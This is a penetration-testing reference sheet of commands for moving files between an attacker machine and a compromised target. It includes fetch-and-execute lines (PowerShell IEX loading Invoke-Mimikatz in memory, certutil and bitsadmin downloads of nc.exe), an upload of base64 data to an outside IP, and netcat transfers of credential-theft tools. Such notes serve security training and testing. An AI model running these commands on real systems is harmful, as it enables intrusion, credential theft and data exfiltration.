File Transfers

Introduction

There are many different methods to transfers files from a target machine to the attackers machine and vice versa. The following notes are a useful reference to help you achieve this task.

---

Basic Methods

Command	Description
cat filename | base64 -w 0; echo followed by echo 'encoding-result' | base64 -d	Encode and decode a file via base64 to transfer its content on local machine
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh	Download a file using Wget
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh	Download a file using cURL

---

Using SSH Secure Copy (SCP)

Command	Description
scp C:\Temp\bloodhound.zip user@target-ip:/tmp/bloodhound.zip	Upload a file using SCP
scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe	Download a file using SCP

---

Using a fake SMB Server

Command	Description
sudo impacket-smbserver sharename -smb2support /tmp/smbshare	Create an SMB Server with anonymous access
copy \\server-ip\share\nc.exe	Copy file to previous SMB Server when anonymous access is available
sudo impacket-smbserver sharename -smb2support /tmp/smbshare -user test -password test	Create an SMB Server hosting a share named "sharename" with credentials
net use n: \\server-ip\sharename /user:test test	Copy file to previous SMB Server when anonymous access is NOT available

---

Using RDP Shares and Clipboard

• Create an SMB share containing the Kali user's home drive: xfreerdp /v:ip /u:user /p:password +home-drive

• Connect to a FreeRDP server with a shared directory: xfreerdp /v:ip_address /u:username /p:password /drive:path/to/directory,share_name

• Use RDP clipboard redirection: xfreerdp /v:ip_address /u:username /p:password +clipboard

---

Windows File Transfers

• Download a file with PowerShell: Invoke-WebRequest https://<snip>/PowerView.ps1 -OutFile PowerView.ps1

• Execute a file in memory using PowerShell: IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')

• Upload a file with PowerShell: Invoke-WebRequest -Uri http://10.10.10.32:443 -Method POST -Body $b64

• Download a file using Bitsadmin: bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe

• Download a file using Certutil: certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

• Download a file using PHP php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'

• Invoke-WebRequest using a Chrome User Agent: Invoke-WebRequest http://nc.exe -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "nc.exe"

---

File Transfers with Netcat

Case 1 - Using nc to Upload from attacker to target:

1. From the target machine: nc -l -p 8000 > SharpKatz.exe

2. From attacker machine: nc -q 0 192.168.49.128 8000 < SharpKatz.exe

Case 2 - Using ncat to Upload from attacker to target:

1. From the target machine: ncat -l -p 8000 --recv-only > SharpKatz.exe

2. From attacker machine: ncat --send-only target-ip 8000 < SharpKatz.exe